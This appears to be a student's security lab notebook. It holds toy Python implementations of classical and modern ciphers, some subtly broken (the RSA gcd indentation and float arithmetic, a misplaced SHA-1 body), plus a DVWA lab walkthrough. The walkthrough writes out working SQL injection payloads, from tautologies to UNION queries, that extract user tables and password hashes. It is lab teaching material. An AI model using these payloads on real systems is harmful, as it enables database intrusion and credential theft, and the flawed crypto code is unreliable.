

## week 1: Caesar Cipher

```
def encrypt_func(txt, s):
    result = ""

    # transverse the plain txt
    for i in range(len(txt)):
        char = txt[i]
        # encrypt_func uppercase characters in plain txt

        if char.isupper():
            result += chr((ord(char) + s - 64) % 26 + 65)
        # encrypt_func lowercase characters in plain txt
        else:
            result += chr((ord(char) + s - 96) % 26 + 97)
    return result

# check the above function
txt = "CEASER CIPHER EXAMPLE"
s = 4

print("Plain txt : ",txt)
print("Shift pattern : ",str(s))
print("Cipher: ",encrypt_func(txt, s))
```

## Week 2 : Hill Cipher

```
keyMatrix = [[0] * 3 for i in range(3)]

# Generate vector for the message
messageVector = [[0] for i in range(3)]

# Generate vector for the cipher
cipherMatrix = [[0] for i in range(3)]

# Following function generates the
# key matrix for the key string
def getKeyMatrix(key):
    k = 0
    for i in range(3):
        for j in range(3):
            keyMatrix[i][j] = ord(key[k]) % 65
            k += 1

# Following function encrypts the message
def encrypt(messageVector):
```

```

for i in range(3):
    for j in range(1):
        cipherMatrix[i][j] = 0
        for x in range(3):
            cipherMatrix[i][j] += (keyMatrix[i][x] *
                                    messageVector[x][j])
        cipherMatrix[i][j] = cipherMatrix[i][j] % 26

def HillCipher(message, key):

    # Get key matrix from the key string
    getKeyMatrix(key)

    # Generate vector for the message
    for i in range(3):
        messageVector[i][0] = ord(message[i]) % 65

    # Following function generates
    # the encrypted vector
    encrypt(messageVector)

    # Generate the encrypted text
    # from the encrypted vector
    CipherText = []
    for i in range(3):
        CipherText.append(chr(cipherMatrix[i][0] + 65))

    # Finally print the ciphertext
    print("Ciphertext: ", "".join(CipherText))

# Driver Code
def main():

    # Get the message to
    # be encrypted
    message = "ACT"

    # Get the key
    key = "GYBNQKURP"

    HillCipher(message, key)

if __name__ == "__main__":
    main()

```

Week 3 :Simple DES

```
import os
```

```
from Crypto.Cipher import DES
```

```
from Crypto.Util.Padding import pad, unpad
```

```
key = b"secret_k"
```

```
cipher = DES.new(key, DES.MODE_ECB)
```

```
# Example message to encrypt
```

```
message = b"This is a test message."
```

```
# Pad the message to a multiple of the block size
```

```
padded_message = pad(message, DES.block_size)
```

```
# Encrypt the padded message
```

```
encrypted_message = cipher.encrypt(padded_message)
```

```
# Print the encrypted message
```

```
print(encrypted_message)
```

```
decrypted_message = cipher.decrypt(encrypted_message)
```

```
print('Decrypted message:', decrypted_message)
```

Week 4 : RSA Algorithm

```
import math
```

```
def gcd(a, h):
```

```
    temp = 0
```

```
    while(1):
```

```
        temp = a % h
```

```
        if (temp == 0):
```

```
            return h
```

```
    a = h
```

```

        h = temp

p = 3
q = 7
n = p*q
e = 2
phi = (p-1)*(q-1)

while (e < phi):

    # e must be co-prime to phi and
    # smaller than phi.
    if(gcd(e, phi) == 1):
        break
    else:
        e = e+1

# Private key (d stands for decrypt)
# choosing d such that it satisfies
# d*e = 1 + k * totient

k = 2
d = (1 + (k*phi))/e

# Message to be encrypted
msg = 12.0

print("Message data = ", msg)

# Encryption c = (msg ^ e) % n
c = pow(msg, e)
c = math.fmod(c, n)
print("Encrypted data = ", c)

# Decryption m = (c ^ d) % n
m = pow(c, d)
m = math.fmod(m, n)
print("Original Message Sent = ", m)

```

Week 5 : Diffie Hellmann

```

from random import randint

```

```

if __name__ == '__main__':

    # Both the persons will be agreed upon the
    # public keys G and P
    # A prime number P is taken
    P = 23

    # A primitive root for P, G is taken
    G = 9

    print('The Value of P is :%d'%(P))
    print('The Value of G is :%d'%(G))

    # Alice will choose the private key a
    a = 4
    print('The Private Key a for Alice is :%d'%(a))

    # gets the generated key
    x = int(pow(G,a,P))

    # Bob will choose the private key b
    b = 3
    print('The Private Key b for Bob is :%d'%(b))

    # gets the generated key
    y = int(pow(G,b,P))

    # Secret key for Alice
    ka = int(pow(y,a,P))

    # Secret key for Bob
    kb = int(pow(x,b,P))

    print('Secret key for the Alice is : %d'%(ka))
    print('Secret Key for the Bob is : %d'%(kb))

```

Week 6 : SHA-1

import hashlib

def sha1(message):

```
sha1_hash = hashlib.sha1()
sha1_hash.update(message)
hex_digest = sha1_hash.hexdigest()
return hex_digest
message = b'This is a message to hash using SHA-1'
hash_value = sha1(message)
print(hash_value)
```

Week 7 : NIST

```
from cryptography.hazmat.primitives.asymmetric import dsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend

# Generate DSA key pair
private_key = dsa.generate_private_key(key_size=1024, backend=default_backend())
public_key = private_key.public_key()

# Sign message
message = b"Hello, world!"
signature = private_key.sign(message, hashes.SHA256())

# Verify signature
try:
    public_key.verify(signature, message, hashes.SHA256())
    print("Signature is valid.")
except:
    print("Signature is invalid.")
```

Installing Kali Linux involves the following steps:

1. Download the Kali Linux ISO: The first step is to download the Kali Linux ISO image from the official Kali Linux website. Choose the appropriate version of the operating system depending on your computer architecture (32-bit or 64-bit).
2. Create a bootable USB drive: You can use software like Rufus, Etcher or UNetbootin to create a bootable USB drive with the Kali Linux ISO image. Alternatively, you can burn the ISO image to a DVD.
3. Boot from the USB drive: Insert the USB drive or DVD into your computer and boot from it. You may need to change the boot order in your computer's BIOS settings to boot from the USB drive or DVD.
4. Select the installation option: Once you boot from the USB drive or DVD, you will be presented with a menu. Select the "Install" option to start the installation process.
5. Configure the installation: You will need to configure various options during the installation process, such as the language, time zone, keyboard layout, and disk partitioning.
6. Install Kali Linux: After configuring the installation options, you can proceed with the installation. The installation process may take some time to complete.
7. Set up user account: Once the installation is complete, you will be prompted to set up a user account. You will need to create a username and password for your account.
8. Update and configure Kali Linux: After logging in to your Kali Linux system, it is important to update and configure it. You can update the system using the apt-get command and configure it according to your needs.

That's it! You should now have a working installation of Kali Linux on your computer.

WEEK 8:

explain sql injection in kali linux

## ChatGPT

SQL injection is a common technique used by hackers to exploit vulnerabilities in web applications that use SQL databases. Kali Linux is a popular operating system used by security professionals and ethical hackers to test and evaluate the security of web applications and systems.

To perform a SQL injection attack using Kali Linux, follow these steps:

1. Identify the vulnerable web application: The first step is to identify a web application that is vulnerable to SQL injection. This can be done using various tools like Burp Suite, OWASP ZAP, or manual testing.
2. Identify the injection point: Once the vulnerable web application is identified, the next step is to find the injection point where the SQL code can be injected. This can be done by analyzing the web application's source code or using tools like SQLMap.
3. Craft the SQL injection payload: After identifying the injection point, the next step is to craft the SQL injection payload. The payload is a piece of SQL code that will be injected into the application's database.
4. Execute the SQL injection attack: The final step is to execute the SQL injection attack by sending the crafted payload to the vulnerable web application. This can be done using tools like SQLMap or manually by modifying the parameters of the web application's URL.

The SQL injection attack can have various outcomes, depending on the severity of the vulnerability and the attacker's goals. The attacker may be able to retrieve sensitive information from the database, modify the database's content, or even take control of the entire system.

It is important to note that SQL injection attacks are illegal and should only be performed on systems that the attacker has permission to test.

Open Kali Linux, with default username and password as 'Kali' and 'Kali'.

- Open Terminal and Download DVWA application from GitHub using command: **sudo git clone <https://www.github.com/digininja/DVWA>**



- Change the permissions to the folder DVWA using 'chmod' command.

```
(kali㉿kali)-[/var/www/html]
$ sudo git clone https://github.com/digininja/DVWA
Cloning into 'DVWA' ...
^[[B^[[B^[[B^[[B^[[Bremote: Enumerating objects: 3990, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 3990 (delta 0), reused 3 (delta 0), pack-reused 3986
Receiving objects: 100% (3990/3990), 1.79 MiB | 1.31 MiB/s, done.
Resolving deltas: 100% (1858/1858), done.

(kali㉿kali)-[/var/www/html]
$ sudo chmod -R 777 DVWA
```

- Navigate to 'DVWA/Config/config.inc.php.dist' and make a copy with name 'config.inc.php'
- Now, Open 'config.inc.php' file in Nano Editor.

```
(kali㉿kali)-[/var/www/html]
$ cd DVWA/config

(kali㉿kali)-[/var/www/html/DVWA/config]
$ ls
config.inc.php.dist

(kali㉿kali)-[/var/www/html/DVWA/config]
$ sudo cp config.inc.php.dist config.inc.php

(kali㉿kali)-[/var/www/html/DVWA/config]
$ sudo nano config.inc.php
```

- After opening the file, check the username and password of DVWA application, Edit if you want.

```
File Actions Edit View Help
GNU nano 6.3 config.inc.php *
<?php

# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets..
# Thanks to @diglininja for the fix.

# Database management system to use
$dbms = 'MySQL';
#$dbms = 'PGSQL'; // Currently disabled

# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
# See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwauser';
$_DVWA[ 'db_password' ] = 'dvwapw';
$_DVWA[ 'db_port' ] = '3306';

# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';
```

- Now, install MySQL Server using following command: **sudo apt install default-mysql-server**
- Now, start the service and check the status in SystemCTL.

```
File Actions Edit View Help
~$ sudo apt install default-mysql-server
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
default-mysql-server is already the newest version (1.0.8).
0 upgraded, 0 newly installed, 0 to remove and 1319 not upgraded.

kali@kali: ~/var/www/html/DVWA/config
~$ sudo service mysql start

kali@kali: ~/var/www/html/DVWA/config
~$ systemctl status mysql
● mariadb.service - MariaDB 10.6.8 database server
   Loaded: loaded (/lib/systemd/system/mariadb.service; disabled; vendor preset: disabled)
   Active: active (running) since Thu 2022-11-24 05:56:35 EST; 2s ago
     Docs: man:mariadb(8)
           https://mariadb.com/kb/en/library/systemd/
   Process: 3239 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /var/run/mysql (code=exited, status=0/SUCCESS)
   Process: 3241 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
   Process: 3243 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] && VAR= || VAR= cd /usr/bin/... /usr/bin/galera_recovery: [ $? -eq 0 ] && s=
   Process: 3291 ExecStartPost=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
   Process: 3291 ExecStartPost=/etc/mysql/debian-start (code=exited, status=0/SUCCESS)
   Main PID: 3274 (mariadbd)
   Status: "Taking your SQL requests now..."
     Tasks: 16 (limit: 2281)
    Memory: 98.7M
       CPU: 1.733s
   CGroup: /system.slice/mariadb.service
           └─3274 /usr/sbin/mariadbd
```

- Now, Open MySQL Terminal and Create a DVWA user with past credentials and Grant him all privileges on DVWA folder.

```
(kali@kali)-[/var/www/html/DVWA/config]
$ sudo mysql -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 10.6.8-MariaDB-1 Debian builddd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create user 'dvwau'@'127.0.0.1' identified by 'dvwap';
Query OK, 0 rows affected (0.004 sec)

MariaDB [(none)]> grant all privileges on DVWA.* to 'dvwau'@'127.0.0.1' identified by 'dvwap';
Query OK, 0 rows affected (0.001 sec)

MariaDB [(none)]> exit
Bye
```

- Now, Install PHP using following command: **sudo apt install php** • Now, Install PHP extensions required. **sudo apt install php-{extension1,extension2,...}**
- Now, Navigate to 'php/8.1/apache2' folder and Open 'php.ini' file in Nano editor.
- In that file, Make sure these two fields are set to be On. **allow\_url\_fopen allow\_url\_include**

```
;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; https://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like https:// or ftp://) as files.
; https://php.net/allow-url-include
allow_url_include = On

; Define the anonymous ftp password (your email address). PHP's default setting
; for this is empty.
; https://php.net/from
;from="john@doe.com"

; Define the User-Agent string. PHP's default setting for this is empty.
; https://php.net/user-agent
;user_agent="PHP"

; Default timeout for socket based streams (seconds)
; https://php.net/default-socket-timeout
;

^G Help      ^O Write Out  ^W Where Is   ^K Cut        ^T Execute    ^C Location
^X Exit      ^R Read File  ^_ Replace    ^U Paste      ^J Justify    ^_ Go To Line
```

- Now, Start the apache2 server and Check the status in systemCTL.

```
kali@kali: /etc/php/8.1/apache2
$ sudo nano php.ini

kali@kali: /etc/php/8.1/apache2
$ sudo service apache2 start

kali@kali: /etc/php/8.1/apache2
$ systemctl status apache2
● apache2.service - The Apache HTTP Server
   loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
   Active: active (running) since Thu 2022-11-24 06:01:19 EST; 3s ago
     Docs: https://httpd.apache.org/docs/2.4/
   Process: 4619 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
    Main PID: 4636 (apache2)
       Tasks: 6 (limit: 2283)
      Memory: 22.4M
         CPU: 249ms
    CGroup: /system.slice/apache2.service
           └─ 4636 /usr/sbin/apache2 -k start
             4638 /usr/sbin/apache2 -k start
             4639 /usr/sbin/apache2 -k start
             4640 /usr/sbin/apache2 -k start
             4641 /usr/sbin/apache2 -k start
             4642 /usr/sbin/apache2 -k start

Nov 24 06:01:19 kali systemd[1]: Starting The Apache HTTP Server ...
Nov 24 06:01:19 kali apachectl[4635]: AH00558: apache2: could not reliably determine the server's fully qualified domain name, using 127.0.0.1. Set the 'ServerName' directive dynamically to determine the server's name.
Nov 24 06:01:19 kali systemd[1]: Started The Apache HTTP Server.
lines 1-20/24 (END)
```

- Now, Open any browser and Go to Local Host: **http://127.0.0.1/dvwa.login.php**
- Enter the Credentials, admin as username and password as password.



- Navigate to, DVWA Security and Set it as **Low**



# DVWA Security

## Security Level

Security level is currently: **low**.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability level of DVWA:

1. Low - This security level is completely vulnerable and **has no security measures at all**. It's use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.
2. Medium - This setting is mainly to give an example to the user of **bad security practices**, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of **harder or alternative bad practices** to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.
4. Impossible - This level should be **secure against all vulnerabilities**. It is used to compare the vulnerable source code to the secure source code.  
Prior to DVWA v1.9, this level was known as 'high'.

Low

## SQL Injection Exploitation:

•

Now, Navigate to SQL Injection and Enter any user ID, It will display the details of user with given user\_ID.

### Vulnerability: SQL Injection

User ID:

ID: 5  
First name: Bob  
Surname: Smith

- Now, Give a True Condition that satisfies a 'MySQL' Query like:

**"or**

**'0'='0'#" • Now, all the users details will be displayed.**



- Home
- Instructions
- Setup / Reset DB
- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection
- SQL Injection (Blind)
- Weak Session IDs
- XSS (DOM)
- XSS (Reflected)
- XSS (Stored)
- CSP Bypass

## Vulnerability: SQL Injection

User ID:

ID: %' or 0=0#  
First name: admin  
Surname: admin

ID: %' or 0=0#  
First name: Gordon  
Surname: Brown

ID: %' or 0=0#  
First name: Hack  
Surname: Me

ID: %' or 0=0#  
First name: Pablo  
Surname: Picasso

ID: %' or 0=0#  
First name: Bob  
Surname: Smith

**More Information**

- We can even know the User details and Database details by adding UNION condition.

- Home
- Instructions
- Setup / Reset DB
- Brute Force
- Command Injection
- CSRF
- File Inclusion
- File Upload
- Insecure CAPTCHA
- SQL Injection

## Vulnerability: SQL Injection

User ID:

ID: %' and 1=0 union select null,user()#  
First name:  
Surname: dvwa@localhost

**More Information**

- [https://en.wikipedia.org/wiki/SQL\\_injection](https://en.wikipedia.org/wiki/SQL_injection)
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- [https://lowasp.org/www/community/attacks/SQL\\_injection](https://lowasp.org/www/community/attacks/SQL_injection)
- <https://bobby-tables.com/>

- We will be able to know the tables belonging to USERS by checking tables in the schema with string as 'USER%'.
- After retrieving the table names, we can retrieve Column's names from them.

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

## Vulnerability: SQL Injection

User ID:

```

ID: '%' and 1=0 union select null,table_name from information_schema.tables where table_name like 'user%'
First name:
Surname: USER_PRIVILEGES

ID: '%' and 1=0 union select null,table_name from information_schema.tables where table_name like 'user%'
First name:
Surname: USER_STATISTICS

ID: '%' and 1=0 union select null,table_name from information_schema.tables where table_name like 'user%'
First name:
Surname: user_variables

ID: '%' and 1=0 union select null,table_name from information_schema.tables where table_name like 'user%'
First name:
Surname: users

```

### More Information

- [https://en.wikipedia.org/wiki/SQL\\_injection](https://en.wikipedia.org/wiki/SQL_injection)
- <https://www.netasparker.com/blog/web-security/sql-injection-cheat-sheet/>
- [https://www.exploit-db.com/community/attacks/SQL\\_injection](https://www.exploit-db.com/community/attacks/SQL_injection)
- <https://hacker-tables.com/>

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

## Vulnerability: SQL Injection

User ID:

```

ID: '%' and 1=0 union select null,column_name from information_schema.columns where table_name='users'
First name:
Surname: user_id

ID: '%' and 1=0 union select null,column_name from information_schema.columns where table_name='users'
First name:
Surname: first_name

ID: '%' and 1=0 union select null,column_name from information_schema.columns where table_name='users'
First name:
Surname: last_name

ID: '%' and 1=0 union select null,column_name from information_schema.columns where table_name='users'
First name:
Surname: user

ID: '%' and 1=0 union select null,column_name from information_schema.columns where table_name='users'
First name:
Surname: password

ID: '%' and 1=0 union select null,column_name from information_schema.columns where table_name='users'
First name:
Surname: avatar

ID: '%' and 1=0 union select null,column_name from information_schema.columns where table_name='users'
First name:
Surname: last_login

ID: '%' and 1=0 union select null,column_name from information_schema.columns where table_name='users'
First name:
Surname:

```

- Now, After getting the column names, we can easily retrieve the data in the table using SELECT command.



Home  
Instructions  
Setup / Reset DB

Brute Force  
Command Injection  
CSRF  
File Inclusion  
File Upload  
Insecure CAPTCHA  
**SQL Injection**  
SQL Injection (Blind)  
Weak Session IDs  
XSS (DOM)  
XSS (Reflected)  
XSS (Stored)  
CSP Bypass

## Vulnerability: SQL Injection

User ID:

ID: %' and 1=@ union select first\_name,password from users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: %' and 1=@ union select first\_name,password from users#  
First name: Gordon  
Surname: e99a18c428cb38d5f268853678922e63

ID: %' and 1=@ union select first\_name,password from users#  
First name: Hack  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: %' and 1=@ union select first\_name,password from users#  
First name: Pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: %' and 1=@ union select first\_name,password from users#  
First name: Bob  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More Information